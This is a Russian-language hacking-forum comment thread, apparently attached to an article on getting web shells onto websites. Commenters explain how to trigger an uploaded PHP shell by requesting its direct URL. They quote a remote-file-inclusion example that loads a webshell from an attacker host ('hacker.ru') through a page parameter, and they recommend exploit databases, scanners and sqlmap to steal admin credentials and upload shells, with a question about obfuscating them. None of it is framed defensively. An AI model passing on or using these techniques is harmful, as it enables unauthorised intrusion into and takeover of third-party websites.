Burp имхо это mustknow,musthave при работе с вебом... Но это мое имхо...

 

Универсальный метод - это терморектальный криптоанализ и ему подобные техники)

ЧЕГО ?
Пиши нормально, по-русски ))

 

ЧЕГО ?
Пиши нормально, по-русски ))

 

Можно идиотский вопрос?
Допустим, удалось загрузить файл. Как его запустить? Как прописать запуск файла, например, при обновлении этой страницы

---- Добавлено позже ----

Сразу вопрос - допустим удалось загрузить файл .php через аватарку. Как прописать, что бы он запустился?

просто "бурпсюте" своего рода "швейцарский нож" для пентеста web с кучей дополнительных возможностей и плагинов, а утилита предложенная автором "темпер дата", лишь узко заточенная утилита)))
Надеюсь пользователи сайта будут более терпимыми друг к другу

---- Добавлено позже ----

друзья почему столько негатива)))
лишь о общении рождается истина)))

 

Я видел видео как повязать exe на jpg и хотел найти способ и нашёл автора kingcope (Nicolaos Rangos) но он не сказал способ. Он мог ловит видеокадры от беспилотника и найти местонахождения куда отправляет сигнал.

 

Burp имхо это mustknow,musthave при работе с вебом... Но это мое имхо...

ur damn right !

 

Сразу вопрос - допустим удалось загрузить файл .php через аватарку. Как прописать, что бы он запустился?

Обратитесь к нему по прямой ссылке.
Например, Ваш аватар на данном форуме

https://codeby.net/data/avatars/s/82/82940.jpg

Если бы Вы смогли загрузить php файл, то

https://codeby.net/data/avatars/s/82/82940.php

 

Способ 6
​

Php-injection - это форма атаки на сайт, когда атакующий внедряет свой php-код в атакуемое php-приложение.

www.site.ru?page=home.html

Выполнив команду мы подгрузим страницу home,html. Теперь мы попробуем подгрузить вредоносный шелл.

www.site.ru?page=http:/hacker.ru/webshell.php

Дорк: Inurlage=

Также есть способ найти уже залитый шелл с помощью perl скрипта.
Подробная видеоинструкция:

я нашел уязвимость xsrf через w3af скажи ево можно взломать через 4 способ если да то как найти ссылку для загрузки шелла

 

Одна из лучших статьей , как по мне.

 

А если на сайте нельзя запусткать PHP скрипты?

 

А если на сайте нельзя запусткать PHP скрипты?

PERL/C

 

Все гораздо проще гайсы))))
Берется сперва ищется вектор для загрузки веб шелла)
К примеру если CMS WordPress или Joomla последней версии без уязвимых плагинов - то загрузка шелла только после доступа к админ панели возможна))) И никакие тампер дата и выше описанные методы не помогут , и даже супер пупер универсальные))) Хеххех))
Если бы был супер универсальный метод у этого мембера то он бы в комментах не писал а заскринил залитый шелл на этом форуме)

То бишь хотите сказать можно даже откинуть вариант по поиску собственноручно уязвимостей в плагинах, темах и тд. ?

 

Данная статья не о чем,паблик с ютуба и не годится для 2018 ,все выше описанное работает только на г***о сайтах типа "Hello World !"
Юзайте эксплоиты Offensive Security’s Exploit Database Archive , WPScan Vulnerability Database (НЕ РЕКЛАМА)
Находите уязвимости через axunetix,sqlmap, сливайте админов и заливайте шелл

 

Данная статья не о чем,паблик с ютуба и не годится для 2018 ,все выше описанное работает только на г***о сайтах типа "Hello World !"
Юзайте эксплоиты Offensive Security’s Exploit Database Archive , WPScan Vulnerability Database (НЕ РЕКЛАМА)
Находите уязвимости через axunetix,sqlmap, сливайте админов и заливайте шелл

какой по советуешь и как лучше его обфуцироть или нет?

 

Данная статья не о чем,паблик с ютуба и не годится для 2018 ,все выше описанное работает только на г***о сайтах типа "Hello World !"
Юзайте эксплоиты Offensive Security’s Exploit Database Archive , WPScan Vulnerability Database (НЕ РЕКЛАМА)
Находите уязвимости через axunetix,sqlmap, сливайте админов и заливайте шелл

Я описал стандартные способы, конечно находят новые узявимости, в Drupal, Apache, ты прочитай внимательней, я описал несколько эксплоитов, с помощью которых была массовая заливка. Твой комментарий не о чем, лучше бы рассказал об уязвимостях. И да это работает на самонаписных сайтах

 

п.4 видео перезалейте пожалуйста